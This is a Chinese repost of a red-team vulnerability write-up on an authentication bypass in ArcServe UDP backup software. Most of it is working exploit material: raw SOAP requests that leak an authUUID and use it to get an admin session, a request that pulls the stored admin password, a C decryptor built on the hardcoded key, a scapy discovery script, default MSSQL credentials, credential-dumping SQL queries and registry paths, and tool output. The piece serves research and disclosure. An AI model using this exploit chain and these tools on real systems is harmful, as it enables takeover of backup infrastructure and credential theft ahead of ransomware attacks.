JuanManueFernand 军机故阁
微信号 gh_e57baf46bdf5
功能介绍 最新的安全情报与技术
__发表于
收录于合集
在最近的一次红蓝模拟里,MDSec ActiveBreach红队进行勒索软件场景攻击模拟,其主要目标是破坏组织的备份基础设施。
作为该模拟的一部分,对用于执行最常见备份的软件 ( ArcServe UDP ) 进行了详细分析。在分析代码几分钟内,就发现了一个关键的身份验证绕过,允许访问管理界面。
在本文中,我将分析影响 7.0 至 9.0 版本的漏洞根本原因,以及蓝方和红方专业人士可能感兴趣的其他有趣的攻击技术。
在分析 HTTP 请求流时,我们可以观察到在登录过程中发送的请求之一如下:
POST /contents/service/login HTTP/1.1Host: 192.168.56.10:8014Cookie: AGENTJSESSIONID=A20902BCB1FBFE1EEF99B4788DC24362User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: text/x-gwt-rpc; charset=utf-8X-Gwt-Permutation: 69C1E1E0891DA29292A9BA76888D3D04X-Gwt-Module-Base: <https://192.168.56.10:8014/contents/>Content-Length: 245Origin: <https://192.168.56.10:8014>Referer: <https://192.168.56.10:8014/>Sec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-originTe: trailersConnection: close
7|0|10|https://192.168.56.10:8014/contents/|9D583B6834A20CE6C6975A0AA976C843|com.ca.arcflash.ui.client.login.LoginService|validateUser|java.lang.String/2004016611|I|https:|EPIPELAGIC|SEVENKINGDOMS|vagrant|adepts|1|2|3|4|6|5|5|6|5|5|5|7|8|8014|9|10|11|
我们可以看到它通过 GWT RPC 使用序列化对象发送主体。它调用该方法validateUser并接收架构 ( https:)、服务器主机名 ( EPIPELAGIC)、域 ( SEVENKINGDOMS)、用户名 ( vagrant) 和密码 ( adepts) 作为参数。
该功能可以在flash-webui.jar文件中找到:
public Boolean validateUser(HttpServletRequest req, String protocol, String host, int port, String domain, String username, String password, String logindetail) throws BusinessLogicException, ServiceConnectException, ServiceInternalException { logger.debug("validateUser(HttpServletRequest, String, String, int, String, String, String, String) - start"); if (StringUtil.isEmptyOrNull(username)) throw generateException(FlashServiceErrorCode.Login_UsernameRequired); if (StringUtil.isEmptyOrNull(password)) throw generateException(FlashServiceErrorCode.Login_PasswordRequired); HttpSession session = req.getSession(); WebServiceClientProxy client = null; LoginDetail detail = null; try { logger.debug(protocol + host + port); client = (WebServiceClientProxy)ServiceProviders.getLocalFlashServiceProvider().create(protocol, host, port, "IFlashService_R16_5"); setServiceClient(req, client); detail = client.getService().validateUserWithDetail(username, password, domain, logindetail); setLocalWebServiceClient(client); } catch (WebServiceException exception) { logger.error("Error occurs during validate user..."); logger.error(exception.getMessage()); if (exception.getCause() instanceof Error && exception.getMessage().startsWith("Undefined operation name")) throw generateException(FlashServiceErrorCode.EDGE_D2D_INTERFACE_MISMATCH); proccessAxisFaultException(exception); } HostInfo hostInfo = new HostInfo(); hostInfo.setName(host); hostInfo.setUsername(username); session.setAttribute(SessionConstants.SRING_DOMAIN, domain); session.setAttribute(SessionConstants.SRING_USERNAME, username); session.setAttribute(SessionConstants.SRING_PASSWORD, password); session.setAttribute(SessionConstants.SRING_UUID, ""); session.setAttribute(SessionConstants.SRING_LOGIN_DETAIL, detail); logger.debug("validateUser(HttpServletRequest, String, String, int, String, String, String, String) - end"); return Boolean.TRUE; }
从上面的代码中可以看出,validateUser方法创建了一个“客户端”,它将充当代理,与负责验证所提供凭据的 WebService 独立通信。此 WebService 的位置以及所使用的架构(HTTP 或 HTTPs)是序列化对象中提供的信息。因此,如果我们阻止并编辑传输中的请求以修改序列化对象的值,我们就可以使该“客户端”联系我们控制的 HTTP 服务器。例如,让我们将“EPIPELAGIC”主机更改为“192.168.56.1”并建立一个最小的 HTTP 服务器来记录请求:
7|0|10|https://192.168.56.10:8014/contents/|9D583B6834A20CE6C6975A0AA976C843|com.ca.arcflash.ui.client.login.LoginService|validateUser|java.lang.String/2004016611|I|http:|192.168.56.1|SEVENKINGDOMS|vagrant|1|2|3|4|6|5|5|6|5|5|5|7|8|7777|9|10|10|
在我们的记录器中,我们收到以下请求:
psyconauta@insulanova:/tmp|⇒ python3 loghttp.py 7777Starting httpd...<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:validateUser xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://backup.data.webservice.arcflash.ca.com/xsd>" xmlns:ns4="<http://data.webservice.arcflash.ca.com/xsd>" xmlns:ns5="<http://export.data.webservice.arcflash.ca.com/xsd>" xmlns:ns6="<http://vsphere.data.webservice.arcflash.ca.com/xsd>" xmlns:ns7="<http://browse.data.webservice.arcflash.ca.com/xsd>" xmlns:ns8="<http://restore.data.webservice.arcflash.ca.com/xsd>" xmlns:ns9="<http://catalog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns10="<http://activitylog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns11="<http://remotedeploy.data.webservice.arcflash.ca.com/xsd>" xmlns:ns12="<http://history.job.data.webservice.arcflash.ca.com/xsd>" xmlns:ns13="<http://webservice.edge.arcserve.ca.com/>"><arg0>vagrant</arg0><arg1>vagrant</arg1><arg2>SEVENKINGDOMS</arg2></ns2:validateUser></S:Body></S:Envelope>192.168.56.10 - - [04/Feb/2023 11:56:58] "POST /WebServiceImpl/services/FlashServiceImpl HTTP/1.1" 200 -<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:getVersionInfo xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://backup.data.webservice.arcflash.ca.com/xsd>" xmlns:ns4="<http://data.webservice.arcflash.ca.com/xsd>" xmlns:ns5="<http://export.data.webservice.arcflash.ca.com/xsd>" xmlns:ns6="<http://vsphere.data.webservice.arcflash.ca.com/xsd>" xmlns:ns7="<http://browse.data.webservice.arcflash.ca.com/xsd>" xmlns:ns8="<http://restore.data.webservice.arcflash.ca.com/xsd>" xmlns:ns9="<http://catalog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns10="<http://activitylog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns11="<http://remotedeploy.data.webservice.arcflash.ca.com/xsd>" xmlns:ns12="<http://history.job.data.webservice.arcflash.ca.com/xsd>" xmlns:ns13="<http://webservice.edge.arcserve.ca.com/>"/></S:Body></S:Envelope>192.168.56.10 - - [04/Feb/2023 11:56:58] "POST /WebServiceImpl/services/FlashServiceImpl HTTP/1.1" 200 -
我们可以看到它针对执行了两个SOAP请求/WebServiceImpl/services/FlashServiceImpl,第一个请求(validateUser我们在方法中看到的名称相同)带有凭据,第二个请求附加信息 ( getVersionInfo)。
如果我们复制此请求并针对原始 WebService 手动发送:
POST /WebServiceImpl/services/FlashServiceImpl HTTP/1.1Host: 192.168.56.20:8014Content-Length: 887
<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:getVersionInfo xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://backup.data.webservice.arcflash.ca.com/xsd>" xmlns:ns4="<http://data.webservice.arcflash.ca.com/xsd>" xmlns:ns5="<http://export.data.webservice.arcflash.ca.com/xsd>" xmlns:ns6="<http://vsphere.data.webservice.arcflash.ca.com/xsd>" xmlns:ns7="<http://browse.data.webservice.arcflash.ca.com/xsd>" xmlns:ns8="<http://restore.data.webservice.arcflash.ca.com/xsd>" xmlns:ns9="<http://catalog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns10="<http://activitylog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns11="<http://remotedeploy.data.webservice.arcflash.ca.com/xsd>" xmlns:ns12="<http://history.job.data.webservice.arcflash.ca.com/xsd>" xmlns:ns13="<http://webservice.edge.arcserve.ca.com/>"/></S:Body></S:Envelope>
得到下一个响应:
HTTP/1.1 200Date: Sat, 04 Feb 2023 11:03:22 GMTServer: ApacheContent-Type: text/xml;charset=utf-8Content-Length: 2853
<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:getVersionInfoResponse xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://history.job.data.webservice.arcflash.ca.com/xsd>" xmlns:ns4="<http://vsphere.data.webservice.arcflash.ca.com/xsd>" xmlns:ns5="<http://data.webservice.arcflash.ca.com/xsd>" xmlns:ns6="<http://backup.data.webservice.arcflash.ca.com/xsd>" xmlns:ns7="<http://browse.data.webservice.arcflash.ca.com/xsd>" xmlns:ns8="<http://restore.data.webservice.arcflash.ca.com/xsd>" xmlns:ns9="<http://catalog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns10="<http://export.data.webservice.arcflash.ca.com/xsd>" xmlns:ns11="<http://remotedeploy.data.webservice.arcflash.ca.com/xsd>" xmlns:ns12="<http://activitylog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns13="<http://webservice.edge.arcserve.ca.com/>"><ns2:return><ns5:majorVersion>9</ns5:majorVersion><ns5:minorVersion>0</ns5:minorVersion><ns5:buildNumber>6034</ns5:buildNumber><ns5:locale>en</ns5:locale><ns5:country></ns5:country><ns5:timeZoneID>America/Los_Angeles</ns5:timeZoneID><ns5:timeZoneOffset>-28800000</ns5:timeZoneOffset><ns5:adminName>SEVENKINGDOMS\\vagrant</ns5:adminName><ns5:localDriverLetters>C:\\</ns5:localDriverLetters><ns5:localADTPackage>-1</ns5:localADTPackage><ns5:productType>2</ns5:productType><ns5:edgeInfoCM><ns5:edgeHostName>kingslanding.sevenkingdoms.local</ns5:edgeHostName><ns5:edgeUrl><https://kingslanding.sevenkingdoms.local:8015/management/></ns5:edgeUrl></ns5:edgeInfoCM><ns5:dataFormat><ns5:timeFormat>h:mm:ss a</ns5:timeFormat><ns5:shortTimeFormat>h:mm a</ns5:shortTimeFormat><ns5:timeDateFormat>M/d/yyyy h:mm:ss a</ns5:timeDateFormat><ns5:dateFormat>M/d/yyyy</ns5:dateFormat></ns5:dataFormat><ns5:isX86>false</ns5:isX86><ns5:isHyperVRoleInstalled>false</ns5:isHyperVRoleInstalled><ns5:isDedupInstalled>false</ns5:isDedupInstalled><ns5:isWin8>true</ns5:isWin8><ns5:isReFsSupported>true</ns5:isReFsSupported><ns5:osName>Windows Server 2019 Datacenter Evaluation</ns5:osName><ns5:hostName>kingslanding</ns5:hostName><ns5:osMajorVersion>10</ns5:osMajorVersion><ns5:osMinorVersion>0</ns5:osMinorVersion><ns5:osBuildNumber>17763</ns5:osBuildNumber><ns5:uefiFirmware>false</ns5:uefiFirmware><ns5:SQLServerInstalled>true</ns5:SQLServerInstalled><ns5:ExchangeInstalled>false</ns5:ExchangeInstalled><ns5:D2DInstalled>true</ns5:D2DInstalled><ns5:ARCserveBackInstalled>false</ns5:ARCserveBackInstalled><ns5:RPSInstalled>true</ns5:RPSInstalled><ns5:settingConfiged>false</ns5:settingConfiged><ns5:dotNetVersion>4.7</ns5:dotNetVersion><ns5:displayVersion>9.0</ns5:displayVersion><ns5:isInCloud>false</ns5:isInCloud><ns5:nodeUUID>d5936919-6cc3-4c8a-b570-bbd39f75ca17</ns5:nodeUUID><ns5:authUUID>6bf37b8e-ac4f-487d-8d74-d6d0a8d9b8d1</ns5:authUUID></ns2:return></ns2:getVersionInfoResponse></S:Body></S:Envelope>
无需身份验证即可获取大量有趣的信息:操作系统版本+内部版本号、主机名、域和管理员帐户的名称。但还有一些有趣的东西:authUUID。如果我们再次检查validateUser下面的flash-webui.jar ,就会发现另一个有趣的方法:validateUserByUuid:
public Boolean validateUserByUuid(String uuid, String host, int port, String protocol) throws BusinessLogicException, ServiceConnectException, ServiceInternalException { logger.debug("validateUserByUuid(String, String, int, String) - start"); if (StringUtil.isEmptyOrNull(uuid)) throw generateException(FlashServiceErrorCode.Login_UUIDRequired); WebServiceClientProxy client = null; try { client = (WebServiceClientProxy)ServiceProviders.getLocalFlashServiceProvider().create(protocol, host, port, "IFlashService_R16_5"); setServiceClient(client); client.getService().validateUserByUUID(uuid); setLocalWebServiceClient(client); } catch (WebServiceException exception) { logger.error("Error occurs during validate user by uuid..."); logger.error(exception.getMessage()); proccessAxisFaultException(exception, false); } getThreadLocalRequest().getSession(true).setAttribute(SessionConstants.SRING_DOMAIN, ""); getThreadLocalRequest().getSession(true).setAttribute(SessionConstants.SRING_USERNAME, ""); getThreadLocalRequest().getSession(true).setAttribute(SessionConstants.SRING_UUID, uuid); getThreadLocalRequest().getSession(true).setAttribute(SessionConstants.SRING_PASSWORD, ""); logger.debug("validateUserByUuid(String, String, int, String) - end"); return Boolean.TRUE; }
如果我们 grep 查找此方法名称,我们可以发现它可以从VirtualStandbyServiceImpl.wsdl中描述的 WebService 中使用:
<xs:complexType name="validateUserByUUID"> <xs:sequence> <xs:element name="arg0" type="xs:string" minOccurs="0"/> </xs:sequence> </xs:complexType>
所以它只需要一个参数,即 UUID。当我们将它与之前找到的AuthUUID值一起使用时会发生什么?
POST /WebServiceImpl/services/VirtualStandbyServiceImpl HTTP/1.1SOAPAction: "<http://webservice.arcflash.ca.com/IEdgeDashboardService/validateUserByUUIDRequest>"Host: 192.168.56.20:8014Content-Length: 964
<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:validateUserByUUID xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://backup.data.webservice.arcflash.ca.com/xsd>" xmlns:ns4="<http://data.webservice.arcflash.ca.com/xsd>" xmlns:ns5="<http://export.data.webservice.arcflash.ca.com/xsd>" xmlns:ns6="<http://vsphere.data.webservice.arcflash.ca.com/xsd>" xmlns:ns7="<http://browse.data.webservice.arcflash.ca.com/xsd>" xmlns:ns8="<http://restore.data.webservice.arcflash.ca.com/xsd>" xmlns:ns9="<http://catalog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns10="<http://activitylog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns11="<http://remotedeploy.data.webservice.arcflash.ca.com/xsd>" xmlns:ns12="<http://history.job.data.webservice.arcflash.ca.com/xsd>" xmlns:ns13="<http://webservice.edge.arcserve.ca.com/>"><arg0>6bf37b8e-ac4f-487d-8d74-d6d0a8d9b8d1</arg0></ns2:validateUserByUUID></S:Body></S:Envelope>
它通过会话响应 cookie(代理会话 ID …)
HTTP/1.1 200Date: Fri, 03 Feb 2023 22:01:07 GMTServer: ApacheContent-Type: text/xml;charset=utf-8Set-Cookie: AGENTJSESSIONID=D16CE41B84744598FD8BBD6D9A568CE1; Path=/WebServiceImpl; Secure; HttpOnlyContent-Length: 324
<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:validateUserByUUIDResponse xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://data.webservice.arcflash.ca.com/xsd>"><ns2:return>0</ns2:return></ns2:validateUserByUUIDResponse></S:Body></S:Envelope>
**找回管理员密码**
一旦我们利用该漏洞获得了有效的管理员会话,接下来我们可以做的就是使用它与 WebService 交互并检索管理员密码。幸运的是,ArcServe 提供了一个名为getLocalHostAsTrust的方法,它返回加密的密码:
POST /WebServiceImpl/services/FlashServiceImpl HTTP/1.1Cookie: AGENTJSESSIONID=1D5290DAC2BBD2D98D97F8EDC594A7B7SOAPAction: "<http://webservice.arcflash.ca.com/IFlashService_R16_5/getVersionInfoRequest>"Host: 192.168.56.20:8014Content-Length: 917
<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:getLocalHostAsTrust xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://backup.data.webservice.arcflash.ca.com/xsd>" xmlns:ns4="<http://data.webservice.arcflash.ca.com/xsd>" xmlns:ns5="<http://export.data.webservice.arcflash.ca.com/xsd>" xmlns:ns6="<http://vsphere.data.webservice.arcflash.ca.com/xsd>" xmlns:ns7="<http://browse.data.webservice.arcflash.ca.com/xsd>" xmlns:ns8="<http://restore.data.webservice.arcflash.ca.com/xsd>" xmlns:ns9="<http://catalog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns10="<http://activitylog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns11="<http://remotedeploy.data.webservice.arcflash.ca.com/xsd>" xmlns:ns12="<http://history.job.data.webservice.arcflash.ca.com/xsd>" xmlns:ns13="<http://webservice.edge.arcserve.ca.com/>"></ns2:getLocalHostAsTrust></S:Body></S:Envelope>
中大奖!!!
HTTP/1.1 200Date: Sat, 04 Feb 2023 11:12:14 GMTServer: ApacheContent-Type: text/xml;charset=utf-8Content-Length: 1625
<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:getLocalHostAsTrustResponse xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://history.job.data.webservice.arcflash.ca.com/xsd>" xmlns:ns4="<http://vsphere.data.webservice.arcflash.ca.com/xsd>" xmlns:ns5="<http://data.webservice.arcflash.ca.com/xsd>" xmlns:ns6="<http://backup.data.webservice.arcflash.ca.com/xsd>" xmlns:ns7="<http://browse.data.webservice.arcflash.ca.com/xsd>" xmlns:ns8="<http://restore.data.webservice.arcflash.ca.com/xsd>" xmlns:ns9="<http://catalog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns10="<http://export.data.webservice.arcflash.ca.com/xsd>" xmlns:ns11="<http://remotedeploy.data.webservice.arcflash.ca.com/xsd>" xmlns:ns12="<http://activitylog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns13="<http://webservice.edge.arcserve.ca.com/>"><ns2:return><ns5:name>KINGSLANDING</ns5:name><ns5:port>0</ns5:port><ns5:uuid>TkVGQRAHCSAYAAAAEGYAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACNN6wnCXQUv9XXeaqIvNyGjJ2C6dkWgkLGoLC4fym3LtFGinaud8DVix81Up1/aThbifZVqlRsu4R0T9P92JjvcVF6bKT6KrnHx6DCZALSTQ</ns5:uuid><ns5:userName>vagrant</ns5:userName><ns5:password>TkVGQRAHCSAYAAAAEGYAAA4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACFPGHAnp8ZjTr6rqmN2Ghi</ns5:password><ns5:type>0</ns5:type><ns5:d2dVersion>9</ns5:d2dVersion></ns2:return></ns2:getLocalHostAsTrustResponse></S:Body></S:Envelope
要了解如何解密密码,我们必须关注edge-app-base-webservice-impl.jar。该文件包含一个名为XmlDecrypter的类,其内容如下:
package com.ca.arcserve.edge.app.base.common;
import com.ca.arcflash.webservice.jni.WSJNI;import java.io.IOException;import javax.xml.parsers.ParserConfigurationException;import javax.xml.transform.TransformerException;import org.xml.sax.SAXException;
public class XmlDecrypter extends BaseXmlCrypt { public static final XmlDecrypter CommonDecrypter = new XmlDecrypter(new String[] { "uuid", ".*password", "encryptionkey", "access_token", "client_secret", "token_cache" });
public XmlDecrypter(String[] matchTag) { super(matchTag); }
protected String doEncrypt(String s) { return WSJNI.AFDecryptStringEx(s); }
public String decryptXml_NoException(String xml) { return analyzeXml_NoException(xml); }
public String decryptXml(String xml) throws ParserConfigurationException, SAXException, IOException, TransformerException { return analyzeXml(xml); }}
doEncrypt方法从“WSJNI”调用本机函数。经过一番搜索后,我们发现AFCoreFunction.dll包含一个名为AFDecryptFromString的函数,其中包含下一段源代码(某些部分在逆向工程过程中被重命名):
1800dd8ac CryptDecrypt_trucho = &CryptDecrypt_m;1800dd8bf int32_t var_48_2 = 0x18;1800dd8c6 int32_t var_44_2 = 0x6610; //AES-2561800dd8ec if ((mandanga_buena(&CryptDecrypt_trucho, nullptr) >= 0 && (r14_1 != 0 && r14_1 <= rbx_2)))1800dd8e9 {1800dd8f2 arg_10 = r14_1;1800dd8f2 }1800ddb3f CryptDecrypt_trucho = &CryptDecrypt_m;1800ddb6b rbx_1 = 0xa;1800ddb77 void* const var_a8_2 = "AFSrvConfig::SaveAdminAccount";1800ddb8b sub_18006e160(Username, 0, 0, "%s: Encrypt password failed");1800ddb7c }
我们重命名为mandanga_buena 的函数如下所示:
1800ea2b0 uint64_t mandanga_buena(void* arg1, int16_t* arg2)1800ea2b0 {1800ea2c5 int32_t rsi = 0;1800ea2c7 void* const rbx = arg2;1800ea2d5 if ((arg2 == 0 || (arg2 != 0 && 0 == *(int16_t*)arg2)))1800ea2d2 {1800ea2d7 rbx = "Please input a valid password";1800ea2d7 }1800ea2e9 int32_t var_18 = 0xf0000000;1800ea2f3 BOOL rax = CryptAcquireContextW(((char*)arg1 + 8), nullptr, nullptr, *(int32_t*)((char*)arg1 + 0x20), 0xf0000000);1800ea2fb enum WIN32_ERROR rax_1;1800ea2fb BOOL rax_2;1800ea2fb uint64_t rax_4;1800ea2fb if (rax == 0)1800ea2f9 {1800ea2fd rax_1 = GetLastError();1800ea308 if (rax_1 == 0x80090016)1800ea303 {1800ea315 var_18 = 0xf0000008;1800ea31f rax_2 = CryptAcquireContextW(((char*)arg1 + 8), nullptr, nullptr, *(int32_t*)((char*)arg1 + 0x20), 0xf0000008);1800ea315 }1800ea327 if ((rax_1 != 0x80090016 || (rax_1 == 0x80090016 && rax_2 == 0)))1800ea325 {1800ea329 rax_4 = -1;1800ea329 }1800ea327 if ((rax != 0 || ((rax == 0 && rax_1 == 0x80090016) && rax_2 != 0)))1800ea325 {1800ea344 void* r15_1 = ((char*)arg1 + 0x10);1800ea34d var_18 = r15_1;1800ea35a if (CryptCreateHash(*(int64_t*)((char*)arg1 + 8), 0x8003, nullptr, 0, var_18) == 0)1800ea358 {1800ea35c rax_4 = 0xfffffffe;1800ea35c }1800ea363 else1800ea363 {1800ea363 int64_t rax_5 = -1;1800ea379 bool cond:0_1;1800ea379 do1800ea379 {1800ea370 cond:0_1 = *(int16_t*)(((char*)rbx + (rax_5 << 1)) + 2) != 0;1800ea375 rax_5 = (rax_5 + 1);1800ea375 } while (cond:0_1);1800ea390 if (CryptHashData(*(int64_t*)r15_1, rbx, ((int32_t)(rax_5 + rax_5)), 0) == 0)1800ea38e {1800ea392 rax_4 = 0xfffffffd;1800ea392 }1800ea3aa else1800ea3aa {1800ea3aa var_18 = ((char*)arg1 + 0x18);1800ea3bf if (CryptDeriveKey(*(int64_t*)((char*)arg1 + 8), *(int32_t*)((char*)arg1 + 0x24), *(int64_t*)r15_1, 0x1000004, var_18) == 0)1800ea3b8 {1800ea3bf rsi = -4;1800ea3bf }1800ea3c2 rax_4 = ((uint64_t)rsi);1800ea3c2 }1800ea3c2 }1800ea3c2 }1800ea3de return rax_4;1800ea3de }
正如我们所看到的,它使用字符串 Please input a valid password 作为种子来构建稍后在CryptDecrypt中使用的密钥。有了这些知识,构建一个解密器就很简单了:
#include <Windows.h>#include <stdio.h>
int main(int argc, char** argv) { printf("\\t\\t-={ ArcServe Decryptor by Juan Manuel Fernandez (@TheXC3LL) }=-\\n\\n"); HCRYPTPROV phProv = NULL; HCRYPTHASH phHash = NULL; HCRYPTKEY phKey = NULL;
BYTE enc[] = { 133, 60, 97, 192, 158, 159, 25, 141, 58, 250, 174, 169, 141, 216, 104, 98 }; // Text to decrypt (base64 decode and take everything after 0x80 bytes)
BYTE key[] = { 0x50, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x61, 0x00, 0x73, 0x00, 0x65, 0x00, 0x20, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x70, 0x00, 0x75, 0x00, 0x74, 0x00, 0x20, 0x00, 0x61, 0x00, 0x20, 0x00, 0x76, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x64, 0x00, 0x20, 0x00, 0x70, 0x00, 0x61, 0x00, 0x73, 0x00, 0x73, 0x00, 0x77, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x64, 0x00 }; DWORD pdwDataLen = sizeof(enc);
if (!CryptAcquireContextW(&phProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) { printf("[!] CryptAcquireContextW Failed!\\n"); exit(-1); } if (!CryptCreateHash(phProv, CALG_MD5, NULL, 0, &phHash)) { printf("[!] CryptCreateHash Failed!\\n"); exit(-1); } if (!CryptHashData(phHash, key, 58, 0)) { printf("[!] CryptHashData Failed!\\n"); exit(-1); } if (!CryptDeriveKey(phProv, CALG_AES_256, phHash, 16777220, &phKey)) { printf("[!] CryptDeriveKey Failed!\\n"); exit(-1); } CryptDecrypt(phKey, NULL, TRUE, 0, &enc, &pdwDataLen); printf("[+] Decrypted string: %S", enc);}
默认情况下,ArcServe 使用实例名称ARCSERVE_APP,因此我们可以利用SQL Browser Service向端口 UDP 1434 发送广播数据包并查看是否有主机回复它。
#!/usr/bin/env python3# ArcServeRadar by Juan Manuel Fernandez (@xc3ll@mastodon.social)
import sysimport threadingfrom scapy.all import *
udp_packet = bytearray.fromhex("0441524353455256455f415050") # ARCSERVE_APP
def ping(ip, iface, port): print("[*] Broadcasting") sendp(Ether()/IP(src=ip,dst="255.255.255.255")/UDP(dport=1434,sport=port)/Raw(load=udp_packet), verbose=False, iface=iface)
def check(pkt): origin = pkt[IP].src content = pkt[Raw].load if content != udp_packet: data = content[content.find(b"Server"):] print("\\t[+] " + origin + " => " + data.decode("utf-8"))
def monitor(iface, port): print("[*] Starting to monitor") sniff(prn=check, filter="port " + str(port), iface=iface)
if __name__ == "__main__": print("\\t\\t-=[ ArcServe Finder - @xc3ll@mastodon.social ]=-\\n\\n") if len(sys.argv) != 4: print("[!] Error. Usage: python3 ArcServeRadar.py <interface> <originport> <originip>") exit(-1) iface = sys.argv[1] port = int(sys.argv[2]) ip = sys.argv[3] x = threading.Thread(target=monitor, args=(iface,port,)) x.start() ping(ip, iface, port)
或者,如果未更改,可以使用以下默认凭据:
[MSSQL] Cleartext Username : arcserve_udp[MSSQL] Cleartext Password : @rcserveP@ssw0rd
**获取管理控制台凭据的替代技术**
即使漏洞被修补,也有可能通过不同的方式获取管理员用户的凭据。当然,所有这些都意味着某些特权或默认凭据。示例包括:
来自数据库:
如果 MSSQL 数据库仍配置有默认信用,我们可以执行两个选择查询:
select username,password from as_edge_connect_info;
另外,我们可以从数据库中找到管理服务器所在的位置:
select ipaddress,rhostname,osdesc from as_edge_host;
**从注册表中:**
凭据也保存在 Windows 注册表中,因此如果我们拥有具有足够权限的域/本地用户,我们可以使用远程注册表服务进行远程查询。地点是:
钥匙:
HKEY_LOCAL_MACHINE\\SOFTWARE\\Arcserve\\Unified Data Protection\\Engine
子键:
`AdminUser`
`AdminPassword`
如果攻击者位于本地网络,则可以使用默认配置执行扫描以查找实例ArcServeRadar.py。
c:\\Users\\vagrant\\Desktop>python ArcServeRadar.py "Ethernet 2" 6969 192.168.56.20 -=[ ArcServe Finder - @xc3ll@mastodon.social ]=-
[*] Starting to monitor[*] BroadcastingWARNING: Mac address to reach destination not found. Using broadcast. [+] 192.168.56.10 => ServerName;KINGSLANDING;InstanceName;ARCSERVE_APP;IsClustered;No;Version;15.0.2000.5;tcp;62197;;
如果服务是默认配置的,则可以使用默认数据库凭据连接到之前获取的 IP 和端口,并使用 ArcServe-dbpwner.py 读取用户名/密码以及 ArcServe 实例所在的位置:
psyconauta@insulanova:/tmp|⇒ python3 arcserve-dbpwn.py -target 192.168.56.10 -port 62197 -=[ ArcServe credential retriever (from DB) - Juan Manuel Fernandez (@TheXC3LL) ]=-
[*] Connecting to the server[*] Login with default creds[*] Extracting credentials: [+] User: SEVENKINGDOMS\\vagrant [+] Password: {133, 60, 97, 192, 158, 159, 25, 141, 58, 250, 174, 169, 141, 216, 104, 98}; // Paste it to the decrypter [+] User: SEVENKINGDOMS\\vagrant [+] Password: {133, 60, 97, 192, 158, 159, 25, 141, 58, 250, 174, 169, 141, 216, 104, 98}; // Paste it to the decrypter[*] Finding hosts: [+] 192.168.56.10 | kingslanding.sevenkingdoms.local | Windows Server 2019 Datacenter Evaluation [+] 192.168.56.10 | kingslanding.sevenkingdoms.local | NULL
Have a nice day! ^_^
这些工具检索到的所有密码都可以使用ArcServeDecrypter.exe进行解密。只需编辑 C 代码来添加数组,编译并执行它:
C:\\Users\\vagrant>C:\\Users\\vagrant\\source\\repos\\ArcServeDecrypter\\x64\\Debug\\ArcServeDecrypter.exe -={ ArcServe Decryptor by Juan Manuel Fernandez (@TheXC3LL) }=-
[+] Decrypted string: vagrant
如果用户在安装 ArcServe 的服务器上具有本地管理员权限,则可以使用远程注册表服务 ( arcserve-regkeys.py ) 读取凭据:
